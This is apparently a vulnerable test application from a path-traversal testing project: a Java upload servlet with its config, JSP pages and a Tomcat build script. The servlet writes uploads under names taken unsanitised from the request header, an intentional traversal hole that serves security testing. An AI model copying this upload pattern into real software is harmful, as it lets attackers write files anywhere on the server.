18 | public class UploadServlet extends HttpServlet {
19 |
20 | /**
21 | * Name of the directory where uploaded files will be saved, relative to
22 | * the web application directory.
23 | */
24 | private static final String SAVE_DIR = "/tmp";
25 |
26 | /**
27 | * handles file upload
28 | */
29 | protected void doPost(HttpServletRequest request,
30 | HttpServletResponse response) throws ServletException, IOException {
31 | // gets absolute path of the web application
32 | String appPath = request.getServletContext().getRealPath("");
33 | // constructs path of the directory to save uploaded file
34 | // appPath + File.separator
35 | String savePath = SAVE_DIR;
36 |
37 | // creates the save directory if it does not exists
38 | File fileSaveDir = new File(savePath);
39 | if (!fileSaveDir.exists()) {
40 | fileSaveDir.mkdir();
41 | }
42 | String full_name=SAVE_DIR;
43 | for (Part part : request.getParts()) {
44 | String fileName = extractFileName(part);
45 | part.write(savePath + File.separator + fileName);
46 | full_name=savePath + File.separator + fileName;
47 | }
48 |
49 | request.setAttribute("message", "Upload has been done successfully!");
50 | getServletContext().getRequestDispatcher("/message.jsp").forward(
51 | request, response);
52 | }
53 |
54 | /**
55 | * Extracts file name from HTTP header content-disposition
56 | */
57 | private String extractFileName(Part part) {
58 | String contentDisp = part.getHeader("content-disposition");
59 | String[] items = contentDisp.split(";");
60 | for (String s : items) {
61 | if (s.trim().startsWith("filename")) {
62 | return s.substring(s.indexOf("=") + 2, s.length()-1);
63 | }
64 | }
65 | return "";
66 | }
67 | }
68 |
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/test_cases/uploadbare_traversal_outside_webroot/WEB-INF/UploadServlet.class:
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https://raw.githubusercontent.com/PortSwigger/psycho-path/d07baf2e01c9fb33ca1c944ce8f51f446753281d/test_cases/uploadbare_traversal_outside_webroot/WEB-INF/UploadServlet.class
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/test_cases/uploadbare_traversal_outside_webroot/WEB-INF/web.xml:
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1 |
2 |
3 |
4 | Hello
5 | This is a description
6 |
7 |
8 | UploadServlet
9 | UploadServlet
10 |
11 |
12 |
13 | UploadServlet
14 | /upload
15 |
16 |
17 |
18 |
19 |
20 | 30
21 |
22 |
23 |
24 |
25 | upload.jsp
26 |
27 |
28 |
29 |
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/test_cases/uploadbare_traversal_outside_webroot/do_war.sh:
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1 | FILENAME=uploadbare_traversal_outside_webroot.war
2 | # BUILD
3 | javac -cp .:/usr/share/java/tomcat8-servlet-api.jar UploadServlet.java
4 | cp UploadServlet.class WEB-INF/classes/
5 | jar cfv $FILENAME message.jsp upload.jsp WEB-INF/ META-INF/ images/
6 |
7 | # DEPLOY (tomcat8-specific paths)
8 | cp -v $FILENAME /var/lib/tomcat8/webapps
9 | chmod a+r /var/lib/tomcat8/webapps/$FILENAME
10 | /etc/init.d/tomcat8 stop
11 | /etc/init.d/tomcat8 start
12 |
13 |
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/test_cases/uploadbare_traversal_outside_webroot/images/404:
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1 |
2 |
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/test_cases/uploadbare_traversal_outside_webroot/message.jsp:
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1 | <%@ page language="java" contentType="text/html; charset=ISO-8859-1"
2 | pageEncoding="ISO-8859-1"%>
3 |
5 |
6 |
7 |
8 | Upload
9 |
10 |
11 | ${requestScope.message}
12 |
13 |
14 |
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/test_cases/uploadbare_traversal_outside_webroot/upload.jsp:
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1 | <%@ page language="java" contentType="text/html; charset=ISO-8859-1"
2 | pageEncoding="ISO-8859-1"%>
3 |
5 |
6 |
7 |
8 | File Upload
9 |
10 |
11 |
12 | File Upload - traversal outside the webroot
13 |
18 |
19 |
20 |
21 |
22 |
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/test_cases/uploadbare_traversal_outside_webroot/uploadbare_traversal_outside_webroot.war:
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https://raw.githubusercontent.com/PortSwigger/psycho-path/d07baf2e01c9fb33ca1c944ce8f51f446753281d/test_cases/uploadbare_traversal_outside_webroot/uploadbare_traversal_outside_webroot.war
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/usage_examples.pdf:
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https://raw.githubusercontent.com/PortSwigger/psycho-path/d07baf2e01c9fb33ca1c944ce8f51f446753281d/usage_examples.pdf
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